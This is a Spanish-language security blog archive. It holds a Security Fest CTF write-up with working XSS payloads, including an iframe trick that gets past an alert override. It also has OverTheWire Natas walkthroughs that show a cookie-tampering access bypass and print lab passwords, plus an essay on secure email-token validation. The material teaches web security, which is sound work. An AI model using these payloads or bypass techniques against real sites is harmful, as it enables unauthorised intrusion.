Archivo de la etiqueta: owasp

Security Fest #CTF – Excess write up (XSS)

Este año 2018, uno de mis principales propósitos fue tratar de participar en la mayor cantidad de CTFs posibles, son como pequeños acertijos que mantienen mi mente ágil en cuanto a la seguridad informática y siempre aprendo algo nuevo cada vez que los juego.

Existen muchos recursos en Internet pero uno de los mejores, y que he estado usando los últimos meses, es CTFtime. CTFtime es un portal que recopila información acerca de varios eventos Capture The Flag que ocurren alrededor del mundo, tanto eventos presenciales como online (puedes participar remotamente), ademas de eso es una gran fuente de aprendizaje ya que siempre puedes revisar las soluciones de los retos anteriores. Si desean ver los próximos eventos tienen una lista que pueden revisar en el siguiente link

Por mi parte estoy listo para participar en Viettel Mates CTF 2018 este fin de semana 🙂 y el 23 de junio en Google Capture The Flag 2018 (Quals)

Regresando a la idea principal de este articulo, el 31 de mayo participe en el Security Fest #CTF, no resolví tantos retos como me hubiera gustado pero si aprendi un par de cosas nuevas que les voy a compartir a continuación.

El CTF tenia tematica de The Matrix, kudos por eso!

Security Fest CTF Excess – Web Challenge

Excess fue uno de los primeros retos de la categoría web, en las instrucciones se nos daba un link a una pagina web y al entrar veíamos la siguiente pantalla.

Las instrucciones son bastante claras, tenemos que encontrar un XSS en el sitio y hacer que muestre un alert, después mandar la URL con nuestro payload y reclamar la bandera.

Vemos que la pagina tiene un parámetro llamado xss, inspeccionamos el código fuente del sitio web y vemos lo siguiente.

Observamos que el valor del parámetro xss es utilizado directamente por unas variables en Javascript y eso es bueno para nosotros, pues podemos inyectar código directamente sin preocuparnos por crear nuestras propias script tags.

Viendo el código anterior es claro que el sitio web es vulnerable y podemos mandar un payload como el siguiente para mostrar nuestro alert en Javascript.

En el parámetro xss enviamos:

/?xss=<strong>hello';alert(1);//</strong>

Y el código se va a inyectar de la siguiente forma:

...
..
<div class="container">
  <script>var x ='hello';alert(1);//; var y = `hello';alert(1);//; var z = "hello';alert(1);//;</script>
  <div class="row main">
       <div class="form-header header">
...
..

Nuestro payload se inyecta 3 veces, pero no importa puesto que después del primer // todo el resto del código quedara comentado. En el sitio web vemos la siguiente alerta.

¿Qué?, ¿Cómo?, ¿Cuándo? xd nosotros inyectamos un alert no un prompt, inspeccionando el código fuente del sitio mas a detalle y observamos que hay un script que se esta llamando antes de que inyectemos nuestro código.

<script src="/static/no_alert_for_you.js"></script><section class="login-info">

Al ver su contenido nos damos cuenta de que es el responsable de nuestros dolores de cabeza.

/*

        If there is no alert,
        	how can there be XSS?
                      /
                     /
            )            (
           /(   (\___/)  )\
          ( #)  \ ('')| ( #
           ||___c\  > '__||
           ||**** ),_/ **'|
     .__   |'* ___| |___*'|
      \_\  |' (    ~   ,)'|
       ((  |' /(.  '  .)\ |
        \\_|_/ <_ _____> \______________
         /   '-, \   / ,-'      ______  \
b'ger   /      (//   \\)     __/     /   \
                            './_____/

*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."));

Este pequeño código esta sobrescribiendo la función nativa alert del objeto Window en nuestro contexto actual.

Es claro lo que debemos hacer, de alguna forma tenemos que devolver a Window.alert la función nativa original, existen muchas formas de resolver este reto pero mi razonamiento fue el siguiente.

Después de investigar un buen rato encontré varios artículos que describen esta técnica (override de funciones nativas) para mitigar ataques de XSS, sin embargo esto no soluciona el problema debido a la misma naturaleza del lenguaje Javascript, a continuación muestro como creando un elemento iframe, que tiene una instancia nueva y sin modificar del objeto Window, es posible ejecutar las funciones nativas originales.

var iframe = document.createElement('iframe'); // creamos un nuevo iframe
iframe.src = '';
iframe.style.display = 'none';
document.body.appendChild(iframe); // Es necesario agregarlo al documento para que su atributo contentWindow este definido
window.alert = iframe.contentWindow.alert; // Sobrescribimos la función alert de nuestro objeto Window actual con la función nativa original
alert(1); // Ejecutamos el alert original

Armamos nuestro payload y lo inyectamos en el parámetro xss.

/?xss=hello%27;var%20iframe=document.createElement(%27iframe%27);iframe.src=%27%27;iframe.style.display=%27none%27;document.body.appendChild(iframe);window.alert=iframe.contentWindow.alert;alert(1);//

Y veremos el alert original en la pantalla, enviamos la URL con nuestro payload y obtenemos la bandera de este reto.

Happy hacking 🙂

CTF OverTheWire: Natas5

Continuamos con la serie de tutoriales del CTF Natas, ahora toca el turno de natas5.

Natas Level 4 → Level 5
Username: natas5
URL:      http://natas5.natas.labs.overthewire.org

Utilizamos la bandera obtenida en el reto anterior y accedemos a la URL indicada en las instrucciones del reto, veremos una pantalla como la siguiente.

Acceso deshabilitado. No estas autenticado

Generalmente cuando te autenticas en un sitio web el servidor crea una sesión en memoria/base de datos/archivos/etc… y genera una cookie de sesión que es retornada al usuario, esta cookie puede ser incluida en las siguientes peticiones y de esta forma el servidor nos puede identificar mas rápido (HTTP stateless protocol).

Procedemos a revisar las cookies de la pagina web, si utilizas chrome lo puedes hacer desde la google developer toolbar en la pestaña de aplicación

Inmediatamente vemos que hay una cookie llamada loggedin con un valor de cero, lo cambiamos a uno (1) y refrescamos la pagina.

La bandera para acceder a natas6 es aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

Al igual que en el reto anterior, esta pagina tiene una vulnerabilidad de broken access control puesto que es posible engañar al servidor con tan solo modificar el valor de la cookie loggedin

Happy hacking 🙂

OWASP – Riviera Maya e introducción a Overthewire CTF

El 20 y 21 de abril de este año se llevo a cabo la segunda edición de OWASP – Riviera Maya en Cancún, evento de seguridad al cual tuve la fortuna de asistir y donde coincidí con varios amigos de la seguridad informática: @hkm, @calderpwn, @nitr0us, dex, @tresvecesdobleu, @NoxOner, @acorazada, @jjtibaquira son algunos de los que me vienen a la mente ahora mismo (una disculpa si me olvidé de alguno), en lo personal creo que esto es lo mejor de este tipo de eventos 🙂

El staff del evento ha publicado algunos videos de las charlas que podrán encontrar en el canal de youtube de OWASP Latam

Durante el evento tome el taller de web hacking impartido por Eduardo Vela (sirdarckcat), el formato era muy parecido a un CTF en donde ibas resolviendo cada uno de los niveles explotando vulnerabilidades web especificas (XSS, SQLi, LFI, etc). Este tipo de vulnerabilidades web han existido durante los últimos 20 años pero creo que la finalidad del taller era demostrar que siempre habra nuevas formas de seguir aprovechandolas.

Jugar CTFs me divierte mucho ya que siempre se aprende algo nuevo (en el pasado he publicados algunos como #CPMX6 CTF) y este no fue la excepción, al final logre completar todos los retos y Eduardo me dijo que fui el único que lo hizo 😳

Ahora que estoy dedicado el 99% del tiempo al desarrollo de software (ocasionalmente hago algún freelance que tiene que ver con Pentest o revisiones de código) lo mas cercano al hacking que hago son CTFs (justo ahora me estoy preparando para jugar el Google – Capture the flag 2018) y entonces pensé que hay muchísima gente interesada en este tipo de competencias de hacking pero no saben bien por donde empezar y decidí comenzar una nueva serie de tutoriales donde resolveremos un CTF paso a paso 🙂

Me di a la tarea de investigar varios de los CTFs que hay en Internet (básicos, intermedios, avanzados, imposibles, etc…) y creo que el mejor para principiantes se encuentra en OverTheWire, la idea es que resolveremos el CTF llamado Natas donde aprenderemos lo básico de web y mobile hacking y terminando esta serie (son 33 niveles) nos moveremos a algo un poco mas intermedio/avanzado donde tengamos que hacer binary exploitation.

Bueno, pues comenzamos….

Natas CTF

Este CTF, a diferencia de otros como los jeopardy que te dejan jugar los niveles en el orden que tu decidas, te forzá a resolver el nivel actual antes de pasar al siguiente, entonces debemos comenzar por Natas0

Username: natas0
Password: natas0
URL:      http://natas0.natas.labs.overthewire.org

Vamos a la URL que nos indican las instrucciones, introducimos las credenciales que nos da el reto y veremos una pantalla como la siguiente:

Nos dice que el password se encuentre en esta misma pagina sin embargo no vemos nada que haga referencia a la contraseña.

Esta es la primera lección para los principiantes de los CTFs, lo primero que tenemos que hacer en la mayoría de los casos es ver el código fuente de las paginas.

La contraseña para natas1 es gtVrDuiDfck831PqWsLEZy5gyDz1clto, felicidades ahora podemos continuar con el nivel 1, tratare de ir publicando los siguientes artículos cada 2 o 3 días así que estén pendientes.

Happy hacking 🙂

Los programadores y la seguridad informática

En esta ocasión quiero compartir con ustedes una pequeña experiencia que me sucedió en uno de los muchos grupos de programadores a los que pertenezco en la red social Facebook, esta anécdota me hizo reflexionar acerca del nivel de cultura de seguridad informática que tenemos en México y al final me hizo terminar escribiendo este post a manera de auto crítica constructiva para la misma comunidad de desarrolladores.

Son muchos y muy variados los grupos de programación que uno encuentra Facebook: desarrolladores web, desarrolladores iOS / Android, desarrolladores C#, desarrolladores de videojuegos y todo lo que uno se imagine; esta funcionalidad de Facebook (los grupos) ha pasado a sustituir los antiguos foros de discusión (como smf o phpbb) para la generación millennial ya que de alguna forma es mucho mas cómodo tener todo integrado en la misma plataforma social, pero ese no es el tema de discusión aquí.

La Anécdota

Lo que verdaderamente me llamo la atención fue hace unos días cuando un miembro del grupo hizo una consulta acerca de cómo podía realizar una validación de correo electrónico en un sistema que estaba desarrollando, no me llamo la atención la duda, pues todos los días hay gente que pregunta y mucha otra que le responde, lo que me llamo la atención fue la respuesta que le dio una persona del grupo y sobre todo la convicción con la que escribió la misma.

La imagen esta censurada por que la idea no es quemar a nadie sino más bien sacar algo bueno de todo esto.

La imagen esta censurada por que la idea no es quemar a nadie sino más bien sacar algo bueno de todo esto.

En cuanto termine de leer su respuesta no pude esperar para unirme a su conversación y explicarle por qué su solución era incorrecta desde el punto de vista de seguridad, lo bueno fue que no lo tomo mal y se interesó bastante en el tema.

La solución del comentario de Facebook va más o menos así

mail_fail

¿Pueden ver dónde está el problema de su solución?

La solución iba bien hasta el momento en donde decide regresar el token aleatorio al navegador del usuario y realizar ahí la validación. Explicando un poco más acerca de por qué este esquema de solución era malo le mostré un escenario en donde un atacante podría crear miles de cuentas saltando su sistema de verificación.

Haciendo un pequeño ejercicio de reflexión le propuse lo siguiente:

Partimos de la siguiente premisa: el objetivo del sistema de activación por correo es validar una identidad (así como detener posibles ataques automatizados que te creen cuentas falsas y te llenen la base de datos de usuarios ficticios), para lograr esto se utiliza el concepto de “secreto”, un secreto es un token que debe ser compartido solamente con el usuario mediante el método que él especifico (el correo electrónico), enviando ese token al correo que se supone tiene acceso y es el único medio en el que pueda recibir ese secreto nos aseguramos que la cuenta que el usuario especifico existe y es válida, por lo tanto su identidad ha sido avalada por un proveedor de correo.

Ahora, en el escenario que nos plantean de realizar toda la validación del lado del cliente el problema es que realmente no estas validando nada, si el servidor le está regresando al navegador mediante Ajax el token que se supone el usuario debe escribir ¿Cuál es el punto pedirle revisar su correo? Fácilmente se podría crear un bot que registrara cuentas y las activara de forma masiva, es por eso que no es una buena solución.

source-code-583537_1280

La solución óptima seria (o al menos como se usa en la industria de software hoy en día):

Al momento de crear el usuario en la base de datos debemos manejar un campo para representar el estado actual de su cuenta (activada o desactivada), y cuando el usuario reciba el token por correo este lo introduce en un formulario y es enviado para su comparación del lado del servidor (el token generado también debimos haberlo almacenado de alguna forma en el servidor) y dependiendo de si es válido o no activamos su cuenta.

Lo que me interesaba al final es dejarles en claro que todo el código y los datos (por ejemplo funciones de validación en JavaScript) que enviemos al navegador pueden ser modificados por el usuario, y por lo tanto jamás debemos confiar en esa información.

Bueno aquí termina la anécdota, satisfecho de saber que al menos ese programador siguiendo mis recomendaciones seria capas de lanzar ese componente de forma segura a producción me puse a pensar en todos los demás desarrolladores que tienen dudas pero por X o Y motivo no preguntan y siguen produciendo mas y mas código vulnerable que al final contribuye a llenar las bases de datos sobre hackeos de sitios como https://haveibeenpwned.com o http://www.zone-h.org/

Mi opinión

Como muchos sabrán, actualmente soy consultor de seguridad informática, sin embargo tengo una formación de desarrollador de software, antes de dedicarme a la seguridad y durante la universidad cree muchísimas plataformas web y aplicaciones móviles (y lo sigo haciendo de vez en cuando como FreeLancer xd), estoy convencido de que al realizar una prueba de penetración en algún sistema o aplicación, en el 95% de los casos los hackeos se hubieran evitado si el software hubiera sido diseñado con la seguridad en mente.

Desarrollar software seguro no es una tarea sencilla, nadie nunca lo dijo, pero las empresas de desarrollo y pequeñas agencias tienen la manera de mitigar este problema.

Capacitación del personal

En mi opinión por cada equipo de desarrolladores debería de haber por lo menos una persona con nociones básicas de seguridad, “Nociones básicas” es un término muy relativo, es por eso que las empresas (lideres técnicos, Project managers, IT managers, etc.) deberían voltear a ver estándares y buenas prácticas de seguridad en el desarrollo de software y no solo eso, integrarlas en su ciclo de desarrollo.

Hay un documento que me gusta recomendar bastante.

OWASP Top 10: los diez riesgos más críticos en aplicaciones web

Este documento explica las diez vulnerabilidades más populares en las aplicaciones web hoy en día, así como su riesgo, impacto y mitigación.

owasp

Ya sea que trabajes para una empresa o seas un desarrollador FreeLancer, te aseguro que si desarrollas tu software tomando como referencia los 10 puntos de OWASP tu aplicación sera lo suficientemente robusta para que no venga cualquier lammer / hackerucho de tercera y vulnere tu sistema usando sus herramientas automatizadas.

Como decía mas arriba, producir software seguro es compromiso de todos, las metodologías de desarrollo ágil como SCRUM son buenas y funcionan, pero muchas veces el personal que las lleva acabo deja de lado el tiempo requerido para hacer un buen diseño de software (con la seguridad en mente, programación defensiva, etc.) o lo minimiza

Aunque lo ideal sería tener un departamento de seguridad que apoyara al departamento de desarrollo durante todo el ciclo de vida del proyecto.

Después de todo, ¿cuánto te cuesta contratar un arquitecto de seguridad? ¿Cuánto te costaría recuperarte de un hackeo (hablando de información, dinero y prestigio de la empresa)?